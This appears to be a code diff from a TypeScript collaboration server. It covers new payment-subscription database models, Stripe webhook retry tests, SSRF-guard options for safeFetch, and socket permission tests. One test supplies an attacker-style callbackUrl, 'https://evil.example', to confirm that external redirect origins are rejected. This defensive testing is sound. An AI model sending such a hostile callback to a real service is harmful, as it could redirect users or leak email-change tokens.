"prisma": "^6.6.0",
@@ -102,7 +103,7 @@
"rxjs": "^7.8.2",
"semver": "^7.7.4",
"ses": "^1.15.0",
"socket.io": "^4.8.1",
"socket.io": "^4.8.3",
"stripe": "^17.7.0",
"tldts": "^7.0.19",
"winston": "^3.17.0",
+77
View File
@@ -1117,6 +1117,39 @@ model Subscription {
@@map("subscriptions")
}
model ProviderSubscription {
id String @id @default(uuid()) @db.VarChar
provider Provider
targetType String @map("target_type") @db.Text
targetId String @map("target_id") @db.VarChar
plan String @db.VarChar(20)
recurring String? @db.VarChar(20)
status String @db.VarChar(20)
externalCustomerId String? @map("external_customer_id") @db.VarChar
externalSubscriptionId String? @map("external_subscription_id") @db.VarChar
externalProductId String? @map("external_product_id") @db.VarChar
externalPriceId String? @map("external_price_id") @db.VarChar
iapStore IapStore? @map("iap_store")
externalRef String? @map("external_ref") @db.VarChar
currency String? @db.VarChar(3)
amount Int? @db.Integer
quantity Int? @db.Integer
periodStart DateTime? @map("period_start") @db.Timestamptz(3)
periodEnd DateTime? @map("period_end") @db.Timestamptz(3)
trialStart DateTime? @map("trial_start") @db.Timestamptz(3)
trialEnd DateTime? @map("trial_end") @db.Timestamptz(3)
canceledAt DateTime? @map("canceled_at") @db.Timestamptz(3)
metadata Json @default("{}") @db.JsonB
createdAt DateTime @default(now()) @map("created_at") @db.Timestamptz(3)
updatedAt DateTime @updatedAt @map("updated_at") @db.Timestamptz(3)
@@unique([provider, externalSubscriptionId])
@@unique([provider, iapStore, externalRef, externalProductId, externalCustomerId])
@@index([targetType, targetId, plan, status])
@@index([provider, externalCustomerId])
@@map("provider_subscriptions")
}
enum Provider {
stripe
revenuecat
@@ -1148,6 +1181,50 @@ model Invoice {
@@map("invoices")
}
model PaymentEvent {
id String @id @default(uuid()) @db.VarChar
provider Provider
eventType String @map("event_type") @db.VarChar
externalEventId String @map("external_event_id") @db.VarChar
targetType String? @map("target_type") @db.Text
targetId String? @map("target_id") @db.VarChar
externalInvoiceId String? @map("external_invoice_id") @db.VarChar
externalPaymentId String? @map("external_payment_id") @db.VarChar
plan String? @db.VarChar(20)
amount Int? @db.Integer
currency String? @db.VarChar(3)
occurredAt DateTime? @map("occurred_at") @db.Timestamptz(3)
processingStatus String @default("pending") @map("processing_status") @db.VarChar(20)
processingAttempts Int @default(0) @map("processing_attempts") @db.Integer
processedAt DateTime? @map("processed_at") @db.Timestamptz(3)
lastError String? @map("last_error") @db.Text
metadata Json @default("{}") @db.JsonB
createdAt DateTime @default(now()) @map("created_at") @db.Timestamptz(3)
updatedAt DateTime @updatedAt @map("updated_at") @db.Timestamptz(3)
@@unique([provider, externalEventId])
@@index([processingStatus, updatedAt])
@@index([targetType, targetId])
@@map("payment_events")
}
model SubscriptionTrialUsage {
id String @id @default(uuid()) @db.VarChar
targetType String @map("target_type") @db.Text
targetId String @map("target_id") @db.VarChar
plan String @db.VarChar(20)
provider Provider
externalRef String? @map("external_ref") @db.VarChar
firstUsedAt DateTime @default(now()) @map("first_used_at") @db.Timestamptz(3)
metadata Json @default("{}") @db.JsonB
createdAt DateTime @default(now()) @map("created_at") @db.Timestamptz(3)
updatedAt DateTime @updatedAt @map("updated_at") @db.Timestamptz(3)
@@unique([targetType, targetId, plan])
@@index([provider, externalRef])
@@map("subscription_trial_usages")
}
model License {
key String @id @map("key") @db.VarChar
createdAt DateTime @default(now()) @map("created_at") @db.Timestamptz(3)
@@ -38,7 +38,7 @@ test('change email', async t => {
const jwt = signedIn?.token.token;
t.truthy(jwt);
await sendChangeEmail(app, u1Email, '/email-change');
await sendChangeEmail(app, '/email-change');
const changeMail = app.mails.last('ChangeEmail');
@@ -157,12 +157,11 @@ test('should forbid graphql callbackUrl to external origin', async t => {
.set({ 'x-request-id': 'test', 'x-operation-name': 'test' })
.send({
query: `
mutation($email: String!, $callbackUrl: String!) {
sendChangeEmail(email: $email, callbackUrl: $callbackUrl)
mutation($callbackUrl: String!) {
sendChangeEmail(callbackUrl: $callbackUrl)
}
`,
variables: {
email: u1Email,
callbackUrl: 'https://evil.example',
},
})
@@ -787,7 +787,7 @@ test('test key failure disables a saved key and success restores it', async t =>
apiKey: 'sk-test-primary',
});
const fetch = Sinon.stub(globalThis, 'fetch');
const fetch = Sinon.stub(t.context.byok as any, 'probeFetch');
fetch
.onFirstCall()
.resolves(
@@ -858,7 +858,7 @@ test('local key test does not mutate saved server config', async t => {
apiKey: 'sk-server',
});
const fetch = Sinon.stub(globalThis, 'fetch').resolves(
const fetch = Sinon.stub(t.context.byok as any, 'probeFetch').resolves(
new Response('{"error":"invalid sk-local"}', { status: 401 })
);
t.teardown(() => fetch.restore());
@@ -889,7 +889,7 @@ test('Gemini key test sends key in header and returns safe failure message', asy
const { user, workspace } = await createUserWorkspace(t);
await grantUserPlan(t, user.id);
const fetch = Sinon.stub(globalThis, 'fetch').resolves(
const fetch = Sinon.stub(t.context.byok as any, 'probeFetch').resolves(
new Response(
'failed https://generativelanguage.googleapis.com/v1beta/models?key=gemini-secret',
{ status: 401 }
@@ -916,6 +916,7 @@ test('Gemini key test sends key in header and returns safe failure message', asy
],
'gemini-secret'
);
t.deepEqual(fetch.firstCall.args[2]?.allowedHeaders, ['x-goog-api-key']);
t.false(result.message?.includes('gemini-secret'));
t.is(result.message, 'Provider rejected the BYOK key.');
});
@@ -924,7 +925,7 @@ test('FAL key test uses read-only platform API probe endpoint', async t => {
const { user, workspace } = await createUserWorkspace(t);
await grantUserPlan(t, user.id);
const fetch = Sinon.stub(globalThis, 'fetch').resolves(
const fetch = Sinon.stub(t.context.byok as any, 'probeFetch').resolves(
new Response('{}', { status: 200 })
);
t.teardown(() => fetch.restore());
@@ -943,6 +944,7 @@ test('FAL key test uses read-only platform API probe endpoint', async t => {
(fetch.firstCall.args[1]!.headers as Record<string, string>).Authorization,
'Key fal-secret'
);
t.deepEqual(fetch.firstCall.args[2]?.allowedHeaders, ['Authorization']);
});
test('provider test failures do not return raw provider response body', async t => {
@@ -970,7 +972,7 @@ test('provider test failures do not return raw provider response body', async t
message: 'Provider service is unavailable.',
},
];
const fetch = Sinon.stub(globalThis, 'fetch');
const fetch = Sinon.stub(t.context.byok as any, 'probeFetch');
for (const [index, matrixCase] of cases.entries()) {
fetch
.onCall(index)
@@ -1673,6 +1673,7 @@ test('should be able to manage context', async t => {
'workspace.file.embed.finished',
{
contextId: session.id,
workspaceId: session.workspaceId,
fileId: file.id,
chunkSize: 1,
},
@@ -53,7 +53,7 @@ test('admin feature resolver rejects commercial projection features', async t =>
test('should get null if user feature not found', async t => {
const { model, u1 } = t.context;
const userFeature = await model.get(u1.id, 'ai_early_access');
const userFeature = await model.get(u1.id, 'administrator');
t.is(userFeature, null);
});
@@ -93,7 +93,7 @@ test('should directly test user feature existence', async t => {
await model.add(u1.id, 'free_plan_v1', 'legacy projection');
t.true(await model.has(u1.id, 'free_plan_v1'));
t.false(await model.has(u1.id, 'ai_early_access'));
t.false(await model.has(u1.id, 'administrator'));
});
test('should add user feature', async t => {
@@ -23,6 +23,33 @@ test.after.always(async () => {
await module.close();
});
test('payment provider facts migration makes nullable provider identities explicit', t => {
const migration = readFileSync(
join(
process.cwd(),
'migrations/20260604000000_payment_provider_facts/migration.sql'
),
'utf8'
);
t.regex(
migration,
/provider_subscriptions_stripe_identity_check[\s\S]*"provider" <> 'stripe' OR "external_subscription_id" IS NOT NULL/
);
t.regex(
migration,
/provider_subscriptions_revenuecat_identity_check[\s\S]*"provider" <> 'revenuecat' OR \("iap_store" IS NOT NULL AND "external_ref" IS NOT NULL AND "external_product_id" IS NOT NULL AND "external_customer_id" IS NOT NULL\)/
);
t.regex(
migration,
/CREATE UNIQUE INDEX "provider_subscriptions_provider_external_subscription_id_key" ON "provider_subscriptions"\("provider", "external_subscription_id"\)/
);
t.regex(
migration,
/CREATE UNIQUE INDEX "provider_subscriptions_revenuecat_external_identity_key" ON "provider_subscriptions"\("provider", "iap_store", "external_ref", "external_product_id", "external_customer_id"\)/
);
});
class TestPermissionProjectionModel extends PermissionProjectionModel {
constructor(private readonly fakeDb: unknown) {
super();
@@ -924,7 +924,7 @@ test('oidc should not fall back to default email claim when custom claim is conf
test('oidc discovery should remove oauth feature on failure and restore it after backoff retry succeeds', async t => {
const { provider, factory, server } = createOidcRegistrationHarness();
const fetchStub = Sinon.stub(globalThis, 'fetch');
const fetchStub = Sinon.stub(provider as any, 'oidcFetch');
const scheduledRetries: Array<() => void> = [];
const retryDelays: number[] = [];
const setTimeoutStub = Sinon.stub(globalThis, 'setTimeout').callsFake(((
@@ -1,121 +0,0 @@
# Snapshot report for `src/__tests__/payment/service.spec.ts`
The actual snapshot is saved in `service.spec.ts.snap`.
Generated by [AVA](https://avajs.dev).
## should list normal price for unauthenticated user
> Snapshot 1
[
'pro_monthly',
'pro_yearly',
'pro_lifetime',
'ai_yearly',
'team_monthly',
'team_yearly',
]
## should list normal prices for authenticated user
> Snapshot 1
[
'pro_monthly',
'pro_yearly',
'pro_lifetime',
'ai_yearly',
'team_monthly',
'team_yearly',
]
## should not show lifetime price if not enabled
> Snapshot 1
[
'pro_monthly',
'pro_yearly',
'ai_yearly',
'team_monthly',
'team_yearly',
]
## should list early access prices for pro ea user
> Snapshot 1
[
'pro_monthly',
'pro_lifetime',
'pro_yearly_earlyaccess',
'ai_yearly',
'team_monthly',
'team_yearly',
]
## should list normal prices for pro ea user with old subscriptions
> Snapshot 1
[
'pro_monthly',
'pro_yearly',
'pro_lifetime',
'ai_yearly',
'team_monthly',
'team_yearly',
]
## should list early access prices for ai ea user
> Snapshot 1
[
'pro_monthly',
'pro_yearly',
'pro_lifetime',
'ai_yearly_earlyaccess',
'team_monthly',
'team_yearly',
]
## should list early access prices for pro and ai ea user
> Snapshot 1
[
'pro_monthly',
'pro_lifetime',
'pro_yearly_earlyaccess',
'ai_yearly_earlyaccess',
'team_monthly',
'team_yearly',
]
## should list normal prices for ai ea user with old subscriptions
> Snapshot 1
[
'pro_monthly',
'pro_yearly',
'pro_lifetime',
'ai_yearly',
'team_monthly',
'team_yearly',
]
## should be able to list prices for team
> Snapshot 1
[
'pro_monthly',
'pro_yearly',
'pro_lifetime',
'ai_yearly',
'team_monthly',
'team_yearly',
]
@@ -1,13 +1,15 @@
import { PrismaClient } from '@prisma/client';
import ava, { TestFn } from 'ava';
import { CryptoHelper, EventBus } from '../../base';
import { CryptoHelper, EventBus, JobQueue } from '../../base';
import { EntitlementService } from '../../core/entitlement';
import { WorkspacePolicyService } from '../../core/permission';
import { QuotaStateService } from '../../core/quota/state';
import { WorkspaceService } from '../../core/workspaces';
import { Models } from '../../models';
import { LicenseService } from '../../plugins/license/service';
import { licenseClient, LicenseService } from '../../plugins/license/service';
import { StripeWebhookController } from '../../plugins/payment/controller';
import { SubscriptionCronJobs } from '../../plugins/payment/cron';
import { PaymentEventHandlers } from '../../plugins/payment/event';
import {
SubscriptionPlan,
@@ -19,6 +21,12 @@ type Context = Record<string, never>;
const test = ava as TestFn<Context>;
const originalActivateLicense = licenseClient.activate;
test.afterEach.always(() => {
licenseClient.activate = originalActivateLicense;
});
test('workspace subscription activation only sends upgrade notification', async t => {
const events: Array<{ name: string; payload: unknown }> = [];
let reconciled = false;
@@ -120,7 +128,6 @@ test('onetime selfhost license seat allocation ignores projected license quantit
test('recurring selfhost license activation returns activation projection without remote health recheck', async t => {
const events: Array<{ name: string; payload: unknown }> = [];
const affineProRequests: string[] = [];
const upserts: unknown[] = [];
const entitlements: unknown[] = [];
const expiresAt = Date.now() + 30 * 24 * 60 * 60 * 1000;
@@ -154,28 +161,17 @@ test('recurring selfhost license activation returns activation projection withou
{} as unknown as QuotaStateService
);
(
service as unknown as {
fetchAffinePro: (path: string) => Promise<{
plan: SubscriptionPlan;
recurring: SubscriptionRecurring;
quantity: number;
endAt: number;
res: Response;
}>;
}
).fetchAffinePro = async (path: string) => {
affineProRequests.push(path);
let activatedLicenseKey: string | undefined;
licenseClient.activate = async ({ licenseKey }) => {
activatedLicenseKey = licenseKey;
return {
plan: SubscriptionPlan.SelfHostedTeam,
recurring: SubscriptionRecurring.Monthly,
quantity: 3,
endAt: expiresAt,
res: new Response(null, {
headers: {
'x-next-validate-key': 'next-validate-key',
},
}),
license: {
plan: SubscriptionPlan.SelfHostedTeam,
recurring: SubscriptionRecurring.Monthly,
quantity: 3,
expiresAt,
validateKey: 'next-validate-key',
},
};
};
@@ -189,7 +185,7 @@ test('recurring selfhost license activation returns activation projection withou
});
t.is(entitlements.length, 1);
t.is(upserts.length, 1);
t.deepEqual(affineProRequests, ['/api/team/licenses/license-key/activate']);
t.is(activatedLicenseKey, 'license-key');
t.deepEqual(events, [
{
name: 'workspace.subscription.activated',
@@ -202,3 +198,269 @@ test('recurring selfhost license activation returns activation projection withou
},
]);
});
test('stripe webhook persists failed async processing for retry visibility', async t => {
const event = {
id: 'evt_1',
type: 'invoice.paid',
created: 1710000000,
data: { object: { id: 'in_1' } },
};
const updates: unknown[] = [];
const db = {
paymentEvent: {
findUnique: async () => null,
create: async (input: unknown) => {
updates.push(input);
return { id: 'payment_event_1' };
},
updateMany: async (input: unknown) => {
updates.push(input);
return { count: 1 };
},
update: async (input: unknown) => {
updates.push(input);
return {};
},
},
} as unknown as PrismaClient;
const controller = new StripeWebhookController(
{ payment: { stripe: { webhookKey: 'whsec' } } } as never,
db,
{
stripe: {
webhooks: {
constructEvent: () => event,
},
},
} as never,
{
emitAsync: async () => {
throw new Error('handler failed');
},
} as unknown as EventBus
);
await controller.handleWebhook({
rawBody: Buffer.from('{}'),
headers: { 'stripe-signature': 'sig' },
} as never);
await new Promise(resolve => setImmediate(resolve));
t.like(updates[0], {
data: {
provider: 'stripe',
eventType: 'invoice.paid',
externalEventId: 'evt_1',
},
});
t.deepEqual(
updates.slice(1).map(update => (update as { data: unknown }).data),
[
{
processingStatus: 'processing',
processingAttempts: { increment: 1 },
},
{
processingStatus: 'failed',
lastError: 'handler failed',
},
]
);
});
test('stripe webhook skips already processed events', async t => {
const event = {
id: 'evt_processed',
type: 'invoice.paid',
created: 1710000000,
data: { object: { id: 'in_1' } },
};
const controller = new StripeWebhookController(
{ payment: { stripe: { webhookKey: 'whsec' } } } as never,
{
paymentEvent: {
findUnique: async () => ({
id: 'payment_event_processed',
processingStatus: 'processed',
}),
},
} as unknown as PrismaClient,
{
stripe: {
webhooks: {
constructEvent: () => event,
},
},
} as never,
{
emitAsync: async () => {
t.fail('processed event should not be emitted again');
},
} as unknown as EventBus
);
await controller.handleWebhook({
rawBody: Buffer.from('{}'),
headers: { 'stripe-signature': 'sig' },
} as never);
await new Promise(resolve => setImmediate(resolve));
t.pass();
});
test('stripe webhook skips events already claimed by another processor', async t => {
const event = {
id: 'evt_claimed',
type: 'invoice.paid',
created: 1710000000,
data: { object: { id: 'in_1' } },
};
const controller = new StripeWebhookController(
{ payment: { stripe: { webhookKey: 'whsec' } } } as never,
{
paymentEvent: {
findUnique: async () => null,
create: async () => ({ id: 'payment_event_claimed' }),
updateMany: async () => ({ count: 0 }),
},
} as unknown as PrismaClient,
{
stripe: {
webhooks: {
constructEvent: () => event,
},
},
} as never,
{
emitAsync: async () => {
t.fail('unclaimed event should not be emitted');
},
} as unknown as EventBus
);
await controller.handleWebhook({
rawBody: Buffer.from('{}'),
headers: { 'stripe-signature': 'sig' },
} as never);
await new Promise(resolve => setImmediate(resolve));
t.pass();
});
test('stripe webhook replay job reprocesses pending events', async t => {
const updates: unknown[] = [];
const emitted: unknown[] = [];
let findManyInput: unknown;
const cron = new SubscriptionCronJobs(
{
paymentEvent: {
findMany: async (input: unknown) => {
findManyInput = input;
return [
{
id: 'payment_event_1',
eventType: 'invoice.paid',
metadata: { id: 'in_1' },
},
];
},
updateMany: async (input: unknown) => {
updates.push(input);
return { count: 1 };
},
update: async (input: unknown) => {
updates.push(input);
return {};
},
},
} as unknown as PrismaClient,
{
emitAsync: async (name: string, payload: unknown) => {
emitted.push({ name, payload });
},
} as unknown as EventBus,
{} as unknown as JobQueue,
{} as never,
{} as never,
{} as never,
{} as never
);
await cron.replayStripeWebhookEvents();
t.deepEqual(emitted, [
{ name: 'stripe.invoice.paid', payload: { id: 'in_1' } },
]);
t.like(findManyInput, {
where: {
OR: [
{ processingStatus: { in: ['pending', 'failed'] } },
{ processingStatus: 'processing' },
],
},
});
t.deepEqual((updates[0] as { data: unknown }).data, {
processingStatus: 'processing',
processingAttempts: { increment: 1 },
});
t.like((updates[1] as { data: unknown }).data, {
processingStatus: 'processed',
lastError: null,
});
t.true(
(updates[1] as { data: { processedAt: Date } }).data.processedAt instanceof
Date
);
});
test('stripe webhook replay job keeps failed events retryable', async t => {
const updates: unknown[] = [];
const cron = new SubscriptionCronJobs(
{
paymentEvent: {
findMany: async () => [
{
id: 'payment_event_1',
eventType: 'invoice.paid',
metadata: { id: 'in_1' },
},
],
updateMany: async (input: unknown) => {
updates.push(input);
return { count: 1 };
},
update: async (input: unknown) => {
updates.push(input);
return {};
},
},
} as unknown as PrismaClient,
{
emitAsync: async () => {
throw new Error('handler still failing');
},
} as unknown as EventBus,
{} as unknown as JobQueue,
{} as never,
{} as never,
{} as never,
{} as never
);
await cron.replayStripeWebhookEvents();
t.deepEqual(
updates.map(update => (update as { data: unknown }).data),
[
{
processingStatus: 'processing',
processingAttempts: { increment: 1 },
},
{
processingStatus: 'failed',
lastError: 'handler still failing',
},
]
);
});
@@ -27,6 +27,7 @@ import { SubscriptionService } from '../../plugins/payment/service';
import {
SubscriptionPlan,
SubscriptionRecurring,
SubscriptionStatus,
} from '../../plugins/payment/types';
import { createTestingApp, TestingApp } from '../utils';
@@ -1084,3 +1085,40 @@ test('user subscriptions ignore active rows after their current period ended', a
});
t.is(activeAI, null);
});
test('user subscriptions preserve provider trialing status', async t => {
const { db, models, subResolver } = t.context;
const trialUser = await models.user.create({
email: `${Date.now()}-trial-status@affine.pro`,
});
await db.subscription.create({
data: {
targetId: trialUser.id,
plan: SubscriptionPlan.Pro,
provider: 'stripe',
status: SubscriptionStatus.Trialing,
recurring: SubscriptionRecurring.Yearly,
start: new Date('2026-01-01T00:00:00.000Z'),
end: new Date('2099-01-01T00:00:00.000Z'),
stripeSubscriptionId: 'sub_trialing_status',
},
});
await db.providerSubscription.create({
data: {
provider: 'stripe',
targetType: 'user',
targetId: trialUser.id,
plan: SubscriptionPlan.Pro,
recurring: SubscriptionRecurring.Yearly,
status: SubscriptionStatus.Trialing,
externalSubscriptionId: 'sub_trialing_status',
periodStart: new Date('2026-01-01T00:00:00.000Z'),
periodEnd: new Date('2099-01-01T00:00:00.000Z'),
},
});
const subscriptions = await subResolver.subscriptions(trialUser, trialUser);
t.is(subscriptions[0]?.status, SubscriptionStatus.Trialing);
});
File diff suppressed because it is too large Load Diff
@@ -176,6 +176,31 @@ function createYjsUpdateBase64() {
return Buffer.from(update).toString('base64');
}
async function createSnapshot(
db: PrismaClient,
input: {
workspaceId: string;
docId: string;
userId: string;
blob?: Buffer;
state?: Buffer;
updatedAt?: Date;
}
) {
await db.snapshot.create({
data: {
id: input.docId,
workspaceId: input.workspaceId,
blob: input.blob ?? Buffer.from([1, 1]),
state: input.state ?? Buffer.from([1, 1]),
createdAt: input.updatedAt ?? new Date(),
updatedAt: input.updatedAt ?? new Date(),
createdBy: input.userId,
updatedBy: input.userId,
},
});
}
async function ensureSyncActiveUsersTable(db: PrismaClient) {
await db.$executeRawUnsafe(`
CREATE TABLE IF NOT EXISTS sync_active_users_minutely (
@@ -612,17 +637,10 @@ test('workspace sync delete-doc should enforce doc permissions', async t => {
}
);
await models.doc.setDefaultRole(workspace.id, docId, DocRole.None);
await db.snapshot.create({
data: {
id: docId,
workspaceId: workspace.id,
blob: Buffer.from([1, 1]),
state: Buffer.from([1, 1]),
createdAt: new Date(),
updatedAt: new Date(),
createdBy: owner.id,
updatedBy: owner.id,
},
await createSnapshot(db, {
workspaceId: workspace.id,
docId,
userId: owner.id,
});
const socket = createClient(url, cookieHeader);
@@ -657,3 +675,206 @@ test('workspace sync delete-doc should enforce doc permissions', async t => {
socket.disconnect();
}
});
test('workspace sync load-doc should enforce doc read permissions', async t => {
const db = app.get(PrismaClient);
const models = app.get(Models);
const { user: owner } = await login(app);
const { user: collaborator, cookieHeader } = await login(app);
const workspace = await models.workspace.create(owner.id);
const docId = 'private-load-doc';
await models.workspaceUser.set(
workspace.id,
collaborator.id,
WorkspaceRole.Collaborator,
{
status: WorkspaceMemberStatus.Accepted,
}
);
await models.doc.setDefaultRole(workspace.id, docId, DocRole.None);
await createSnapshot(db, {
workspaceId: workspace.id,
docId,
userId: owner.id,
});
const socket = createClient(url, cookieHeader);
try {
await waitForConnect(socket);
const join = unwrapResponse(
t,
await emitWithAck<{ clientId: string; success: boolean }>(
socket,
'space:join',
{
spaceType: 'workspace',
spaceId: workspace.id,
clientVersion: '0.26.0',
}
)
);
t.true(join.success);
const error = getErrorResponse(
t,
await emitWithAck(socket, 'space:load-doc', {
spaceType: 'workspace',
spaceId: workspace.id,
docId,
})
);
t.true(error.message.includes('Doc.Read'));
} finally {
socket.disconnect();
}
});
test('workspace sync push-doc-update should enforce doc update permissions', async t => {
const db = app.get(PrismaClient);
const models = app.get(Models);
const { user: owner } = await login(app);
const { user: collaborator, cookieHeader } = await login(app);
const workspace = await models.workspace.create(owner.id);
const docId = 'readonly-push-doc';
await models.workspaceUser.set(
workspace.id,
collaborator.id,
WorkspaceRole.Collaborator,
{
status: WorkspaceMemberStatus.Accepted,
}
);
await models.doc.setDefaultRole(workspace.id, docId, DocRole.None);
await models.docUser.set(
workspace.id,
docId,
collaborator.id,
DocRole.Reader
);
await createSnapshot(db, {
workspaceId: workspace.id,
docId,
userId: owner.id,
});
const socket = createClient(url, cookieHeader);
try {
await waitForConnect(socket);
const join = unwrapResponse(
t,
await emitWithAck<{ clientId: string; success: boolean }>(
socket,
'space:join',
{
spaceType: 'workspace',
spaceId: workspace.id,
clientVersion: '0.26.0',
}
)
);
t.true(join.success);
const error = getErrorResponse(
t,
await emitWithAck(socket, 'space:push-doc-update', {
spaceType: 'workspace',
spaceId: workspace.id,
docId,
update: createYjsUpdateBase64(),
})
);
t.true(error.message.includes('Doc.Update'));
const updates = await db.update.count({
where: {
workspaceId: workspace.id,
id: docId,
},
});
t.is(updates, 0);
} finally {
socket.disconnect();
}
});
test('workspace sync load-doc-timestamps should filter unreadable docs', async t => {
const db = app.get(PrismaClient);
const models = app.get(Models);
const { user: owner } = await login(app);
const { user: collaborator, cookieHeader } = await login(app);
const workspace = await models.workspace.create(owner.id);
const privateDocId = 'private-timestamp-doc';
const readableDocId = 'readable-timestamp-doc';
await models.workspaceUser.set(
workspace.id,
collaborator.id,
WorkspaceRole.Collaborator,
{
status: WorkspaceMemberStatus.Accepted,
}
);
await models.doc.setDefaultRole(workspace.id, privateDocId, DocRole.None);
await models.doc.setDefaultRole(workspace.id, readableDocId, DocRole.None);
await models.docUser.set(
workspace.id,
readableDocId,
collaborator.id,
DocRole.Reader
);
await createSnapshot(db, {
workspaceId: workspace.id,
docId: privateDocId,
userId: owner.id,
updatedAt: new Date('2026-01-01T00:00:00.000Z'),
});
await createSnapshot(db, {
workspaceId: workspace.id,
docId: readableDocId,
userId: owner.id,
updatedAt: new Date('2026-01-02T00:00:00.000Z'),
});
const socket = createClient(url, cookieHeader);
try {
await waitForConnect(socket);
const join = unwrapResponse(
t,
await emitWithAck<{ clientId: string; success: boolean }>(
socket,
'space:join',
{
spaceType: 'workspace',
spaceId: workspace.id,
clientVersion: '0.26.0',
}
)
);
t.true(join.success);
const timestamps = unwrapResponse(
t,
await emitWithAck<Record<string, number>>(
socket,
'space:load-doc-timestamps',
{
spaceType: 'workspace',
spaceId: workspace.id,
}
)
);
t.false(privateDocId in timestamps);
t.true(readableDocId in timestamps);
} finally {
socket.disconnect();
}
});
@@ -21,7 +21,7 @@ export async function inviteUsers(
app: TestingApp,
workspaceId: string,
emails: string[]
): Promise<Array<{ email: string; inviteId?: string; sentSuccess?: boolean }>> {
): Promise<Array<{ email: string; inviteId?: string }>> {
const res = await app.gql(
`
mutation inviteMembers($workspaceId: String!, $emails: [String!]!) {
@@ -31,7 +31,6 @@ export async function inviteUsers(
) {
email
inviteId
sentSuccess
}
}
`,
@@ -42,19 +42,6 @@ export async function listNotifications(
return res.currentUser.notifications;
}
export async function getNotificationCount(app: TestingApp): Promise<number> {
const res = await app.gql(
`
query notificationCount {
currentUser {
notificationCount
}
}
`
);
return res.currentUser.notificationCount;
}
export async function mentionUser(
app: TestingApp,
input: MentionInput
@@ -34,12 +34,11 @@ export async function getPublicUserById(
export async function sendChangeEmail(
app: TestingApp,
email: string,
callbackUrl: string
): Promise<boolean> {
const res = await app.gql(`
mutation {
sendChangeEmail(email: "${email}", callbackUrl: "${callbackUrl}")
sendChangeEmail(callbackUrl: "${callbackUrl}")
}
`);
@@ -56,7 +56,6 @@ import { ModelsModule } from './models';
import { CalendarModule } from './plugins/calendar';
import { CaptchaModule } from './plugins/captcha';
import { CopilotModule, CopilotRealtimeModule } from './plugins/copilot';
import { CustomerIoModule } from './plugins/customerio';
import { GCloudModule } from './plugins/gcloud';
import { IndexerModule } from './plugins/indexer';
import { LicenseModule } from './plugins/license';
@@ -205,7 +204,6 @@ export function buildAppModule(env: Env) {
CaptchaModule,
OAuthModule,
CalendarModule,
CustomerIoModule,
TelemetryModule,
CommentModule,
AccessTokenModule,
+33 -4
View File
@@ -10,6 +10,7 @@ export type SSRFBlockReason =
| 'disallowed_protocol'
| 'url_has_credentials'
| 'blocked_hostname'
| 'host_not_allowed'
| 'unresolvable_hostname'
| 'blocked_ip'
| 'too_many_redirects';
@@ -19,6 +20,7 @@ const SSRF_REASONS = new Set<string>([
'disallowed_protocol',
'url_has_credentials',
'blocked_hostname',
'host_not_allowed',
'unresolvable_hostname',
'blocked_ip',
'too_many_redirects',
@@ -47,6 +49,12 @@ export interface SafeFetchOptions {
timeoutMs?: number;
maxRedirects?: number;
maxBytes?: number;
allowedHeaders?: string[];
allowedHosts?: string[];
allowHttp?: boolean;
allowPrivateTargetOrigin?: boolean;
enableEch?: boolean;
echConfigList?: Buffer;
}
export async function assertSsrFSafeUrl(rawUrl: string | URL): Promise<URL> {
@@ -72,20 +80,25 @@ export async function safeFetch(
): Promise<Response> {
const url = rawUrl.toString();
const method = String(init.method ?? 'GET').toUpperCase();
if (method !== 'GET' && method !== 'HEAD') {
if (!['GET', 'HEAD', 'POST', 'PUT', 'PROPFIND', 'REPORT'].includes(method)) {
throw new Error(`Unsupported safeFetch method: ${method}`);
}
try {
const response = await safeFetchFromNative({
url,
method: (method === 'HEAD' ? 'head' : 'get') as NonNullable<
SafeFetchRequest['method']
>,
method: method.toLowerCase() as NonNullable<SafeFetchRequest['method']>,
headers: normalizeHeaders(init.headers),
body: normalizeBody(init.body),
timeoutMs: options.timeoutMs,
maxRedirects: options.maxRedirects,
maxBytes: options.maxBytes,
allowedHeaders: options.allowedHeaders,
allowedHosts: options.allowedHosts,
allowHttp: options.allowHttp,
allowPrivateTargetOrigin: options.allowPrivateTargetOrigin,
enableEch: options.enableEch,
echConfigList: options.echConfigList,
});
const body =
method === 'HEAD' || [204, 205, 304].includes(response.status)
@@ -117,6 +130,22 @@ function normalizeHeaders(headers: RequestInit['headers'] | undefined) {
);
}
function normalizeBody(body: RequestInit['body'] | null | undefined) {
if (body === null || body === undefined) {
return undefined;
}
if (typeof body === 'string') {
return Buffer.from(body);
}
if (body instanceof ArrayBuffer) {
return Buffer.from(body);
}
if (ArrayBuffer.isView(body)) {
return Buffer.from(body.buffer, body.byteOffset, body.byteLength);
}
throw new Error('Unsupported safeFetch body type.');
}
export function bufferToArrayBuffer(buffer: Buffer): ArrayBuffer {
const copy = new Uint8Array(buffer.byteLength);
copy.set(buffer);
@@ -187,9 +187,7 @@ export class AuthResolver {
@Mutation(() => Boolean)
async sendChangeEmail(
@CurrentUser() user: CurrentUser,
@Args('callbackUrl') callbackUrl: string,
// @deprecated
@Args('email', { nullable: true }) _email?: string
@Args('callbackUrl') callbackUrl: string
) {
if (!user.emailVerified) {
throw new EmailVerificationRequired();
@@ -299,18 +299,13 @@ export class CommentResolver {
@CurrentUser() me: UserType,
@Parent() workspace: WorkspaceType,
@Args('docId') docId: string,
@Args({
name: 'pagination',
})
@Args({ name: 'pagination' })
pagination: PaginationInput
): Promise<PaginatedCommentChangeObjectType> {
// DEPRECATED-0.26-COMPAT(realtime): remove after server no longer supports 0.26.x clients.
await this.assertPermission(
me,
{
workspaceId: workspace.id,
docId,
},
{ workspaceId: workspace.id, docId },
'Doc.Comments.Read'
);
+12 -1
View File
@@ -7,6 +7,7 @@ import {
Config,
CryptoHelper,
getOrGenRequestId,
safeFetch,
UserFriendlyError,
} from '../../base';
import { Models } from '../../models';
@@ -303,7 +304,17 @@ export class RpcDocReader extends DatabaseDocReader {
if (body) {
requestInit.body = body;
}
const res = await fetch(url, requestInit);
const res = await safeFetch(url, requestInit, {
timeoutMs: 10_000,
maxRedirects: 0,
maxBytes: 50 * 1024 * 1024,
allowedHeaders: [
'content-type',
'x-access-token',
'x-cloud-trace-context',
],
allowPrivateTargetOrigin: true,
});
if (!res.ok) {
if (res.status === 404) {
return null;
@@ -133,3 +133,43 @@ test('checker reports legal legacy facts missing entitlements', async t => {
t.is(report.cloudSubscriptionEntitlementMissing, 1);
t.is(report.selfhostLicenseEntitlementMissing, 1);
});
test('checker reports provider facts missing entitlements', async t => {
const user = await t.context.models.user.create({
email: `${randomUUID()}@affine.pro`,
});
await t.context.db.providerSubscription.create({
data: {
provider: 'stripe',
targetType: 'user',
targetId: user.id,
plan: SubscriptionPlan.Pro,
